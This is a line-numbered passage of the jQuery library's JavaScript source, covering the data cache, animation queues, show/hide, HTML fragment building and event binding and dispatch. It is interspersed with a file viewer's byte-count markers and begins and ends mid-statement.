).toLowerCase(); 4233 data = elem.getAttribute( name ); 4234 4235 if ( typeof data === "string" ) { 4236 try { 4237 data = getData( data ); 4238 } catch ( e ) {} 4239 4240 // Make sure we set the data so it isn't changed later 4241 dataUser.set( elem, key, data ); 4242 } else { 4243 data = undefined; 4244 } 4245 } 4246 return data; 4247} 4248 4249jQuery.extend( { 4250 hasData: function( elem ) { 4251 return dataUser.hasData( elem ) || dataPriv.hasData( elem ); 4252 }, 4253 4254 data: function( elem, name, data ) { 4255 return dataUser.access( elem, name, data ); 4256 }, 4257 4258 removeData: function( elem, name ) { 4259 dataUser.remove( elem, name ); 4260 }, 4261 4262 // TODO: Now that all calls to _data and _removeData have been replaced 4263 // with direct calls to dataPriv methods, these can be deprecated. 4264 _data: function( elem, name, data ) { 4265 return dataPriv.access( elem, name, data ); 4266 }, 4267 4268 _removeData: function( elem, name ) { 4269 dataPriv.remove( elem, name ); 4270 } 4271} ); 4272 4273jQuery.fn.extend( { 4274 data: function( key, value ) { 4275 var i, name, data, 4276 elem = this[ 0 ], 4277 attrs = elem && elem.attributes; 4278 4279 // Gets all values 4280 if ( key === undefined ) { 4281 if ( this.length ) { 4282 data = dataUser.get( elem ); 4283 4284 if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { 4285 i = attrs.length; 4286 while ( i-- ) { 4287
vendor: 7,789 bytes, lines 4288-4610
4288 // Support: IE 11 only 4289 // The attrs elements can be null (#14894) 4290 if ( attrs[ i ] ) { 4291 name = attrs[ i ].name; 4292 if ( name.indexOf( "data-" ) === 0 ) { 4293 name = jQuery.camelCase( name.slice( 5 ) ); 4294 dataAttr( elem, name, data[ name ] ); 4295 } 4296 } 4297 } 4298 dataPriv.set( elem, "hasDataAttrs", true ); 4299 } 4300 } 4301 4302 return data; 4303 } 4304 4305 // Sets multiple values 4306 if ( typeof key === "object" ) { 4307 return this.each( function() { 4308 dataUser.set( this, key ); 4309 } ); 4310 } 4311 4312 return access( this, function( value ) { 4313 var data; 4314 4315 // The calling jQuery object (element matches) is not empty 4316 // (and therefore has an element appears at this[ 0 ]) and the 4317 // `value` parameter was not undefined. An empty jQuery object 4318 // will result in `undefined` for elem = this[ 0 ] which will 4319 // throw an exception if an attempt to read a data cache is made. 4320 if ( elem && value === undefined ) { 4321 4322 // Attempt to get data from the cache 4323 // The key will always be camelCased in Data 4324 data = dataUser.get( elem, key ); 4325 if ( data !== undefined ) { 4326 return data; 4327 } 4328 4329 // Attempt to "discover" the data in 4330 // HTML5 custom data-* attrs 4331 data = dataAttr( elem, key ); 4332 if ( data !== undefined ) { 4333 return data; 4334 } 4335 4336 // We tried really hard, but the data doesn't exist. 4337 return; 4338 } 4339 4340 // Set the data... 4341 this.each( function() { 4342 4343 // We always store the camelCased key 4344 dataUser.set( this, key, value ); 4345 } ); 4346 }, null, value, arguments.length > 1, null, true ); 4347 }, 4348 4349 removeData: function( key ) { 4350 return this.each( function() { 4351 dataUser.remove( this, key ); 4352 } ); 4353 } 4354} ); 4355 4356 4357jQuery.extend( { 4358 queue: function( elem, type, data ) { 4359 var queue; 4360 4361 if ( elem ) { 4362 type = ( type || "fx" ) + "queue"; 4363 queue = dataPriv.get( elem, type ); 4364 4365 // Speed up dequeue by getting out quickly if this is just a lookup 4366 if ( data ) { 4367 if ( !queue || Array.isArray( data ) ) { 4368 queue = dataPriv.access( elem, type, jQuery.makeArray( data ) ); 4369 } else { 4370 queue.push( data ); 4371 } 4372 } 4373 return queue || []; 4374 } 4375 }, 4376 4377 dequeue: function( elem, type ) { 4378 type = type || "fx"; 4379 4380 var queue = jQuery.queue( elem, type ), 4381 startLength = queue.length, 4382 fn = queue.shift(), 4383 hooks = jQuery._queueHooks( elem, type ), 4384 next = function() { 4385 jQuery.dequeue( elem, type ); 4386 }; 4387 4388 // If the fx queue is dequeued, always remove the progress sentinel 4389 if ( fn === "inprogress" ) { 4390 fn = queue.shift(); 4391 startLength--; 4392 } 4393 4394 if ( fn ) { 4395 4396 // Add a progress sentinel to prevent the fx queue from being 4397 // automatically dequeued 4398 if ( type === "fx" ) { 4399 queue.unshift( "inprogress" ); 4400 } 4401 4402 // Clear up the last queue stop function 4403 delete hooks.stop; 4404 fn.call( elem, next, hooks ); 4405 } 4406 4407 if ( !startLength && hooks ) { 4408 hooks.empty.fire(); 4409 } 4410 }, 4411 4412 // Not public - generate a queueHooks object, or return the current one 4413 _queueHooks: function( elem, type ) { 4414 var key = type + "queueHooks"; 4415 return dataPriv.get( elem, key ) || dataPriv.access( elem, key, { 4416 empty: jQuery.Callbacks( "once memory" ).add( function() { 4417 dataPriv.remove( elem, [ type + "queue", key ] ); 4418 } ) 4419 } ); 4420 } 4421} ); 4422 4423jQuery.fn.extend( { 4424 queue: function( type, data ) { 4425 var setter = 2; 4426 4427 if ( typeof type !== "string" ) { 4428 data = type; 4429 type = "fx"; 4430 setter--; 4431 } 4432 4433 if ( arguments.length < setter ) { 4434 return jQuery.queue( this[ 0 ], type ); 4435 } 4436 4437 return data === undefined ? 4438 this : 4439 this.each( function() { 4440 var queue = jQuery.queue( this, type, data ); 4441 4442 // Ensure a hooks for this queue 4443 jQuery._queueHooks( this, type ); 4444 4445 if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { 4446 jQuery.dequeue( this, type ); 4447 } 4448 } ); 4449 }, 4450 dequeue: function( type ) { 4451 return this.each( function() { 4452 jQuery.dequeue( this, type ); 4453 } ); 4454 }, 4455 clearQueue: function( type ) { 4456 return this.queue( type || "fx", [] ); 4457 }, 4458 4459 // Get a promise resolved when queues of a certain type 4460 // are emptied (fx is the type by default) 4461 promise: function( type, obj ) { 4462 var tmp, 4463 count = 1, 4464 defer = jQuery.Deferred(), 4465 elements = this, 4466 i = this.length, 4467 resolve = function() { 4468 if ( !( --count ) ) { 4469 defer.resolveWith( elements, [ elements ] ); 4470 } 4471 }; 4472 4473 if ( typeof type !== "string" ) { 4474 obj = type; 4475 type = undefined; 4476 } 4477 type = type || "fx"; 4478 4479 while ( i-- ) { 4480 tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); 4481 if ( tmp && tmp.empty ) { 4482 count++; 4483 tmp.empty.add( resolve ); 4484 } 4485 } 4486 resolve(); 4487 return defer.promise( obj ); 4488 } 4489} ); 4490var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; 4491 4492var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); 4493 4494 4495var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; 4496 4497var isHiddenWithinTree = function( elem, el ) { 4498 4499 // isHiddenWithinTree might be called from jQuery#filter function; 4500 // in that case, element will be second argument 4501 elem = el || elem; 4502 4503 // Inline style trumps all 4504 return elem.style.display === "none" || 4505 elem.style.display === "" && 4506 4507 // Otherwise, check computed style 4508 // Support: Firefox <=43 - 45 4509 // Disconnected elements can have computed display: none, so first confirm that elem is 4510 // in the document. 4511 jQuery.contains( elem.ownerDocument, elem ) && 4512 4513 jQuery.css( elem, "display" ) === "none"; 4514 }; 4515 4516var swap = function( elem, options, callback, args ) { 4517 var ret, name, 4518 old = {}; 4519 4520 // Remember the old values, and insert the new ones 4521 for ( name in options ) { 4522 old[ name ] = elem.style[ name ]; 4523 elem.style[ name ] = options[ name ]; 4524 } 4525 4526 ret = callback.apply( elem, args || [] ); 4527 4528 // Revert the old values 4529 for ( name in options ) { 4530 elem.style[ name ] = old[ name ]; 4531 } 4532 4533 return ret; 4534}; 4535 4536 4537 4538 4539function adjustCSS( elem, prop, valueParts, tween ) { 4540 var adjusted, 4541 scale = 1, 4542 maxIterations = 20, 4543 currentValue = tween ? 4544 function() { 4545 return tween.cur(); 4546 } : 4547 function() { 4548 return jQuery.css( elem, prop, "" ); 4549 }, 4550 initial = currentValue(), 4551 unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), 4552 4553 // Starting value computation is required for potential unit mismatches 4554 initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && 4555 rcssNum.exec( jQuery.css( elem, prop ) ); 4556 4557 if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { 4558 4559 // Trust units reported by jQuery.css 4560 unit = unit || initialInUnit[ 3 ]; 4561 4562 // Make sure we update the tween properties later on 4563 valueParts = valueParts || []; 4564 4565 // Iteratively approximate from a nonzero starting point 4566 initialInUnit = +initial || 1; 4567 4568 do { 4569 4570 // If previous iteration zeroed out, double until we get *something*. 4571 // Use string for doubling so we don't accidentally see scale as unchanged below 4572 scale = scale || ".5"; 4573 4574 // Adjust and apply 4575 initialInUnit = initialInUnit / scale; 4576 jQuery.style( elem, prop, initialInUnit + unit ); 4577 4578 // Update scale, tolerating zero or NaN from tween.cur() 4579 // Break the loop if scale is unchanged or perfect, or if we've just had enough. 4580 } while ( 4581 scale !== ( scale = currentValue() / initial ) && scale !== 1 && --maxIterations 4582 ); 4583 } 4584 4585 if ( valueParts ) { 4586 initialInUnit = +initialInUnit || +initial || 0; 4587 4588 // Apply relative offset (+=/-=) if specified 4589 adjusted = valueParts[ 1 ] ? 4590 initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : 4591 +valueParts[ 2 ]; 4592 if ( tween ) { 4593 tween.unit = unit; 4594 tween.start = initialInUnit; 4595 tween.end = adjusted; 4596 } 4597 } 4598 return adjusted; 4599} 4600 4601 4602var defaultDisplayMap = {}; 4603 4604function getDefaultDisplay( elem ) { 4605 var temp, 4606 doc = elem.ownerDocument, 4607 nodeName = elem.nodeName, 4608 display = defaultDisplayMap[ nodeName ]; 4609 4610 if ( display ) {
vendor: 4,001 bytes, lines 4611-4782
4611 return display; 4612 } 4613 4614 temp = doc.body.appendChild( doc.createElement( nodeName ) ); 4615 display = jQuery.css( temp, "display" ); 4616 4617 temp.parentNode.removeChild( temp ); 4618 4619 if ( display === "none" ) { 4620 display = "block"; 4621 } 4622 defaultDisplayMap[ nodeName ] = display; 4623 4624 return display; 4625} 4626 4627function showHide( elements, show ) { 4628 var display, elem, 4629 values = [], 4630 index = 0, 4631 length = elements.length; 4632 4633 // Determine new display value for elements that need to change 4634 for ( ; index < length; index++ ) { 4635 elem = elements[ index ]; 4636 if ( !elem.style ) { 4637 continue; 4638 } 4639 4640 display = elem.style.display; 4641 if ( show ) { 4642 4643 // Since we force visibility upon cascade-hidden elements, an immediate (and slow) 4644 // check is required in this first loop unless we have a nonempty display value (either 4645 // inline or about-to-be-restored) 4646 if ( display === "none" ) { 4647 values[ index ] = dataPriv.get( elem, "display" ) || null; 4648 if ( !values[ index ] ) { 4649 elem.style.display = ""; 4650 } 4651 } 4652 if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) { 4653 values[ index ] = getDefaultDisplay( elem ); 4654 } 4655 } else { 4656 if ( display !== "none" ) { 4657 values[ index ] = "none"; 4658 4659 // Remember what we're overwriting 4660 dataPriv.set( elem, "display", display ); 4661 } 4662 } 4663 } 4664 4665 // Set the display of the elements in a second loop to avoid constant reflow 4666 for ( index = 0; index < length; index++ ) { 4667 if ( values[ index ] != null ) { 4668 elements[ index ].style.display = values[ index ]; 4669 } 4670 } 4671 4672 return elements; 4673} 4674 4675jQuery.fn.extend( { 4676 show: function() { 4677 return showHide( this, true ); 4678 }, 4679 hide: function() { 4680 return showHide( this ); 4681 }, 4682 toggle: function( state ) { 4683 if ( typeof state === "boolean" ) { 4684 return state ? this.show() : this.hide(); 4685 } 4686 4687 return this.each( function() { 4688 if ( isHiddenWithinTree( this ) ) { 4689 jQuery( this ).show(); 4690 } else { 4691 jQuery( this ).hide(); 4692 } 4693 } ); 4694 } 4695} ); 4696var rcheckableType = ( /^(?:checkbox|radio)$/i ); 4697 4698var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]+)/i ); 4699 4700var rscriptType = ( /^$|\/(?:java|ecma)script/i ); 4701 4702 4703 4704// We have to close these tags to support XHTML (#13200) 4705var wrapMap = { 4706 4707 // Support: IE <=9 only 4708 option: [ 1, "<select multiple='multiple'>", "</select>" ], 4709 4710 // XHTML parsers do not magically insert elements in the 4711 // same way that tag soup parsers do. So we cannot shorten 4712 // this by omitting <tbody> or other required elements. 4713 thead: [ 1, "<table>", "</table>" ], 4714 col: [ 2, "<table><colgroup>", "</colgroup></table>" ], 4715 tr: [ 2, "<table><tbody>", "</tbody></table>" ], 4716 td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], 4717 4718 _default: [ 0, "", "" ] 4719}; 4720 4721// Support: IE <=9 only 4722wrapMap.optgroup = wrapMap.option; 4723 4724wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; 4725wrapMap.th = wrapMap.td; 4726 4727 4728function getAll( context, tag ) { 4729 4730 // Support: IE <=9 - 11 only 4731 // Use typeof to avoid zero-argument method invocation on host objects (#15151) 4732 var ret; 4733 4734 if ( typeof context.getElementsByTagName !== "undefined" ) { 4735 ret = context.getElementsByTagName( tag || "*" ); 4736 4737 } else if ( typeof context.querySelectorAll !== "undefined" ) { 4738 ret = context.querySelectorAll( tag || "*" ); 4739 4740 } else { 4741 ret = []; 4742 } 4743 4744 if ( tag === undefined || tag && nodeName( context, tag ) ) { 4745 return jQuery.merge( [ context ], ret ); 4746 } 4747 4748 return ret; 4749} 4750 4751 4752// Mark scripts as having already been evaluated 4753function setGlobalEval( elems, refElements ) { 4754 var i = 0, 4755 l = elems.length; 4756 4757 for ( ; i < l; i++ ) { 4758 dataPriv.set( 4759 elems[ i ], 4760 "globalEval", 4761 !refElements || dataPriv.get( refElements[ i ], "globalEval" ) 4762 ); 4763 } 4764} 4765 4766 4767var rhtml = /<|&#?\w+;/; 4768 4769function buildFragment( elems, context, scripts, selection, ignored ) { 4770 var elem, tmp, tag, wrap, contains, j, 4771 fragment = context.createDocumentFragment(), 4772 nodes = [], 4773 i = 0, 4774 l = elems.length; 4775 4776 for ( ; i < l; i++ ) { 4777 elem = elems[ i ]; 4778 4779 if ( elem || elem === 0 ) { 4780 4781 // Add nodes directly 4782 if ( jQuery.t
vendor: 14,415 bytes, lines 4782-5292
4782ype( elem ) === "object" ) { 4783 4784 // Support: Android <=4.0 only, PhantomJS 1 only 4785 // push.apply(_, arraylike) throws on ancient WebKit 4786 jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); 4787 4788 // Convert non-html into a text node 4789 } else if ( !rhtml.test( elem ) ) { 4790 nodes.push( context.createTextNode( elem ) ); 4791 4792 // Convert html into DOM nodes 4793 } else { 4794 tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); 4795 4796 // Deserialize a standard representation 4797 tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); 4798 wrap = wrapMap[ tag ] || wrapMap._default; 4799 tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; 4800 4801 // Descend through wrappers to the right content 4802 j = wrap[ 0 ]; 4803 while ( j-- ) { 4804 tmp = tmp.lastChild; 4805 } 4806 4807 // Support: Android <=4.0 only, PhantomJS 1 only 4808 // push.apply(_, arraylike) throws on ancient WebKit 4809 jQuery.merge( nodes, tmp.childNodes ); 4810 4811 // Remember the top-level container 4812 tmp = fragment.firstChild; 4813 4814 // Ensure the created nodes are orphaned (#12392) 4815 tmp.textContent = ""; 4816 } 4817 } 4818 } 4819 4820 // Remove wrapper from fragment 4821 fragment.textContent = ""; 4822 4823 i = 0; 4824 while ( ( elem = nodes[ i++ ] ) ) { 4825 4826 // Skip elements already in the context collection (trac-4087) 4827 if ( selection && jQuery.inArray( elem, selection ) > -1 ) { 4828 if ( ignored ) { 4829 ignored.push( elem ); 4830 } 4831 continue; 4832 } 4833 4834 contains = jQuery.contains( elem.ownerDocument, elem ); 4835 4836 // Append to fragment 4837 tmp = getAll( fragment.appendChild( elem ), "script" ); 4838 4839 // Preserve script evaluation history 4840 if ( contains ) { 4841 setGlobalEval( tmp ); 4842 } 4843 4844 // Capture executables 4845 if ( scripts ) { 4846 j = 0; 4847 while ( ( elem = tmp[ j++ ] ) ) { 4848 if ( rscriptType.test( elem.type || "" ) ) { 4849 scripts.push( elem ); 4850 } 4851 } 4852 } 4853 } 4854 4855 return fragment; 4856} 4857 4858 4859( function() { 4860 var fragment = document.createDocumentFragment(), 4861 div = fragment.appendChild( document.createElement( "div" ) ), 4862 input = document.createElement( "input" ); 4863 4864 // Support: Android 4.0 - 4.3 only 4865 // Check state lost if the name is set (#11217) 4866 // Support: Windows Web Apps (WWA) 4867 // `name` and `type` must use .setAttribute for WWA (#14901) 4868 input.setAttribute( "type", "radio" ); 4869 input.setAttribute( "checked", "checked" ); 4870 input.setAttribute( "name", "t" ); 4871 4872 div.appendChild( input ); 4873 4874 // Support: Android <=4.1 only 4875 // Older WebKit doesn't clone checked state correctly in fragments 4876 support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; 4877 4878 // Support: IE <=11 only 4879 // Make sure textarea (and checkbox) defaultValue is properly cloned 4880 div.innerHTML = "<textarea>x</textarea>"; 4881 support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; 4882} )(); 4883var documentElement = document.documentElement; 4884 4885 4886 4887var 4888 rkeyEvent = /^key/, 4889 rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/, 4890 rtypenamespace = /^([^.]*)(?:\.(.+)|)/; 4891 4892function returnTrue() { 4893 return true; 4894} 4895 4896function returnFalse() { 4897 return false; 4898} 4899 4900// Support: IE <=9 only 4901// See #13393 for more info 4902function safeActiveElement() { 4903 try { 4904 return document.activeElement; 4905 } catch ( err ) { } 4906} 4907 4908function on( elem, types, selector, data, fn, one ) { 4909 var origFn, type; 4910 4911 // Types can be a map of types/handlers 4912 if ( typeof types === "object" ) { 4913 4914 // ( types-Object, selector, data ) 4915 if ( typeof selector !== "string" ) { 4916 4917 // ( types-Object, data ) 4918 data = data || selector; 4919 selector = undefined; 4920 } 4921 for ( type in types ) { 4922 on( elem, type, selector, data, types[ type ], one ); 4923 } 4924 return elem; 4925 } 4926 4927 if ( data == null && fn == null ) { 4928 4929 // ( types, fn ) 4930 fn = selector; 4931 data = selector = undefined; 4932 } else if ( fn == null ) { 4933 if ( typeof selector === "string" ) { 4934 4935 // ( types, selector, fn ) 4936 fn = data; 4937 data = undefined; 4938 } else { 4939 4940 // ( types, data, fn ) 4941 fn = data; 4942 data = selector; 4943 selector = undefined; 4944 } 4945 } 4946 if ( fn === false ) { 4947 fn = returnFalse; 4948 } else if ( !fn ) { 4949 return elem; 4950 } 4951 4952 if ( one === 1 ) { 4953 origFn = fn; 4954 fn = function( event ) { 4955 4956 // Can use an empty set, since event contains the info 4957 jQuery().off( event ); 4958 return origFn.apply( this, arguments ); 4959 }; 4960 4961 // Use same guid so caller can remove using origFn 4962 fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); 4963 } 4964 return elem.each( function() { 4965 jQuery.event.add( this, types, fn, data, selector ); 4966 } ); 4967} 4968 4969/* 4970 * Helper functions for managing events -- not part of the public interface. 4971 * Props to Dean Edwards' addEvent library for many of the ideas. 4972 */ 4973jQuery.event = { 4974 4975 global: {}, 4976 4977 add: function( elem, types, handler, data, selector ) { 4978 4979 var handleObjIn, eventHandle, tmp, 4980 events, t, handleObj, 4981 special, handlers, type, namespaces, origType, 4982 elemData = dataPriv.get( elem ); 4983 4984 // Don't attach events to noData or text/comment nodes (but allow plain objects) 4985 if ( !elemData ) { 4986 return; 4987 } 4988 4989 // Caller can pass in an object of custom data in lieu of the handler 4990 if ( handler.handler ) { 4991 handleObjIn = handler; 4992 handler = handleObjIn.handler; 4993 selector = handleObjIn.selector; 4994 } 4995 4996 // Ensure that invalid selectors throw exceptions at attach time 4997 // Evaluate against documentElement in case elem is a non-element node (e.g., document) 4998 if ( selector ) { 4999 jQuery.find.matchesSelector( documentElement, selector ); 5000 } 5001 5002 // Make sure that the handler has a unique ID, used to find/remove it later 5003 if ( !handler.guid ) { 5004 handler.guid = jQuery.guid++; 5005 } 5006 5007 // Init the element's event structure and main handler, if this is the first 5008 if ( !( events = elemData.events ) ) { 5009 events = elemData.events = {}; 5010 } 5011 if ( !( eventHandle = elemData.handle ) ) { 5012 eventHandle = elemData.handle = function( e ) { 5013 5014 // Discard the second event of a jQuery.event.trigger() and 5015 // when an event is called after a page has unloaded 5016 return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? 5017 jQuery.event.dispatch.apply( elem, arguments ) : undefined; 5018 }; 5019 } 5020 5021 // Handle multiple events separated by a space 5022 types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; 5023 t = types.length; 5024 while ( t-- ) { 5025 tmp = rtypenamespace.exec( types[ t ] ) || []; 5026 type = origType = tmp[ 1 ]; 5027 namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); 5028 5029 // There *must* be a type, no attaching namespace-only handlers 5030 if ( !type ) { 5031 continue; 5032 } 5033 5034 // If event changes its type, use the special event handlers for the changed type 5035 special = jQuery.event.special[ type ] || {}; 5036 5037 // If selector defined, determine special event api type, otherwise given type 5038 type = ( selector ? special.delegateType : special.bindType ) || type; 5039 5040 // Update special based on newly reset type 5041 special = jQuery.event.special[ type ] || {}; 5042 5043 // handleObj is passed to all event handlers 5044 handleObj = jQuery.extend( { 5045 type: type, 5046 origType: origType, 5047 data: data, 5048 handler: handler, 5049 guid: handler.guid, 5050 selector: selector, 5051 needsContext: selector && jQuery.expr.match.needsContext.test( selector ), 5052 namespace: namespaces.join( "." ) 5053 }, handleObjIn ); 5054 5055 // Init the event handler queue if we're the first 5056 if ( !( handlers = events[ type ] ) ) { 5057 handlers = events[ type ] = []; 5058 handlers.delegateCount = 0; 5059 5060 // Only use addEventListener if the special events handler returns false 5061 if ( !special.setup || 5062 special.setup.call( elem, data, namespaces, eventHandle ) === false ) { 5063 5064 if ( elem.addEventListener ) { 5065 elem.addEventListener( type, eventHandle ); 5066 } 5067 } 5068 } 5069 5070 if ( special.add ) { 5071 special.add.call( elem, handleObj ); 5072 5073 if ( !handleObj.handler.guid ) { 5074 handleObj.handler.guid = handler.guid; 5075 } 5076 } 5077 5078 // Add to the element's handler list, delegates in front 5079 if ( selector ) { 5080 handlers.splice( handlers.delegateCount++, 0, handleObj ); 5081 } else { 5082 handlers.push( handleObj ); 5083 } 5084 5085 // Keep track of which events have ever been used, for event optimization 5086 jQuery.event.global[ type ] = true; 5087 } 5088 5089 }, 5090 5091 // Detach an event or set of events from an element 5092 remove: function( elem, types, handler, selector, mappedTypes ) { 5093 5094 var j, origCount, tmp, 5095 events, t, handleObj, 5096 special, handlers, type, namespaces, origType, 5097 elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); 5098 5099 if ( !elemData || !( events = elemData.events ) ) { 5100 return; 5101 } 5102 5103 // Once for each type.namespace in types; type may be omitted 5104 types = ( types || "" ).match( rnothtmlwhite ) || [ "" ]; 5105 t = types.length; 5106 while ( t-- ) { 5107 tmp = rtypenamespace.exec( types[ t ] ) || []; 5108 type = origType = tmp[ 1 ]; 5109 namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); 5110 5111 // Unbind all events (on this namespace, if provided) for the element 5112 if ( !type ) { 5113 for ( type in events ) { 5114 jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); 5115 } 5116 continue; 5117 } 5118 5119 special = jQuery.event.special[ type ] || {}; 5120 type = ( selector ? special.delegateType : special.bindType ) || type; 5121 handlers = events[ type ] || []; 5122 tmp = tmp[ 2 ] && 5123 new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); 5124 5125 // Remove matching events 5126 origCount = j = handlers.length; 5127 while ( j-- ) { 5128 handleObj = handlers[ j ]; 5129 5130 if ( ( mappedTypes || origType === handleObj.origType ) && 5131 ( !handler || handler.guid === handleObj.guid ) && 5132 ( !tmp || tmp.test( handleObj.namespace ) ) && 5133 ( !selector || selector === handleObj.selector || 5134 selector === "**" && handleObj.selector ) ) { 5135 handlers.splice( j, 1 ); 5136 5137 if ( handleObj.selector ) { 5138 handlers.delegateCount--; 5139 } 5140 if ( special.remove ) { 5141 special.remove.call( elem, handleObj ); 5142 } 5143 } 5144 } 5145 5146 // Remove generic event handler if we removed something and no more handlers exist 5147 // (avoids potential for endless recursion during removal of special event handlers) 5148 if ( origCount && !handlers.length ) { 5149 if ( !special.teardown || 5150 special.teardown.call( elem, namespaces, elemData.handle ) === false ) { 5151 5152 jQuery.removeEvent( elem, type, elemData.handle ); 5153 } 5154 5155 delete events[ type ]; 5156 } 5157 } 5158 5159 // Remove data and the expando if it's no longer used 5160 if ( jQuery.isEmptyObject( events ) ) { 5161 dataPriv.remove( elem, "handle events" ); 5162 } 5163 }, 5164 5165 dispatch: function( nativeEvent ) { 5166 5167 // Make a writable jQuery.Event from the native event object 5168 var event = jQuery.event.fix( nativeEvent ); 5169 5170 var i, j, ret, matched, handleObj, handlerQueue, 5171 args = new Array( arguments.length ), 5172 handlers = ( dataPriv.get( this, "events" ) || {} )[ event.type ] || [], 5173 special = jQuery.event.special[ event.type ] || {}; 5174 5175 // Use the fix-ed jQuery.Event rather than the (read-only) native event 5176 args[ 0 ] = event; 5177 5178 for ( i = 1; i < arguments.length; i++ ) { 5179 args[ i ] = arguments[ i ]; 5180 } 5181 5182 event.delegateTarget = this; 5183 5184 // Call the preDispatch hook for the mapped type, and let it bail if desired 5185 if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { 5186 return; 5187 } 5188 5189 // Determine handlers 5190 handlerQueue = jQuery.event.handlers.call( this, event, handlers ); 5191 5192 // Run delegates first; they may want to stop propagation beneath us 5193 i = 0; 5194 while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { 5195 event.currentTarget = matched.elem; 5196 5197 j = 0; 5198 while ( ( handleObj = matched.handlers[ j++ ] ) && 5199 !event.isImmediatePropagationStopped() ) { 5200 5201 // Triggered event must either 1) have no namespace, or 2) have namespace(s) 5202 // a subset or equal to those in the bound event (both can have no namespace). 5203 if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) { 5204 5205 event.handleObj = handleObj; 5206 event.data = handleObj.data; 5207 5208 ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || 5209 handleObj.handler ).apply( matched.elem, args ); 5210 5211 if ( ret !== undefined ) { 5212 if ( ( event.result = ret ) === false ) { 5213 event.preventDefault(); 5214 event.stopPropagation(); 5215 } 5216 } 5217 } 5218 } 5219 } 5220 5221 // Call the postDispatch hook for the mapped type 5222 if ( special.postDispatch ) { 5223 special.postDispatch.call( this, event ); 5224 } 5225 5226 return event.result; 5227 }, 5228 5229 handlers: function( event, handlers ) { 5230 var i, handleObj, sel, matchedHandlers, matchedSelectors, 5231 handlerQueue = [], 5232 delegateCount = handlers.delegateCount, 5233 cur = event.target; 5234 5235 // Find delegate handlers 5236 if ( delegateCount && 5237 5238 // Support: IE <=9 5239 // Black-hole SVG <use> instance trees (trac-13180) 5240 cur.nodeType && 5241 5242 // Support: Firefox <=42 5243 // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861) 5244 // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click 5245 // Support: IE 11 only 5246 // ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343) 5247 !( event.type === "click" && event.button >= 1 ) ) { 5248 5249 for ( ; cur !== this; cur = cur.parentNode || this ) { 5250 5251 // Don't check non-elements (#13208) 5252 // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) 5253 if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) { 5254 matchedHandlers = []; 5255 matchedSelectors = {}; 5256 for ( i = 0; i < delegateCount; i++ ) { 5257 handleObj = handlers[ i ]; 5258 5259 // Don't conflict with Object.prototype properties (#13203) 5260 sel = handleObj.selector + " "; 5261 5262 if ( matchedSelectors[ sel ] === undefined ) { 5263 matchedSelectors[ sel ] = handleObj.needsContext ? 5264 jQuery( sel, this ).index( cur ) > -1 : 5265 jQuery.find( sel, this, null, [ cur ] ).length; 5266 } 5267 if ( matchedSelectors[ sel ] ) { 5268 matchedHandlers.push( handleObj ); 5269 } 5270 } 5271 if ( matchedHandlers.length ) { 5272 handlerQueue.push( { elem: cur, handlers: matchedHandlers } ); 5273 } 5274 } 5275 } 5276 } 5277 5278 // Add the remaining (directly-bound) handlers 5279 cur = this; 5280 if ( delegateCount < handlers.length ) { 5281 handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } ); 5282 } 5283 5284 return handlerQueue; 5285 }, 5286 5287 addProp: function( name, hook ) { 5288 Object.defineProperty( jQuery.Event.prototype, name, { 5289 enumerable: true, 5290 configurable: true, 5291 5292 get:
vendor: 8,400 bytes, lines 5292-5641
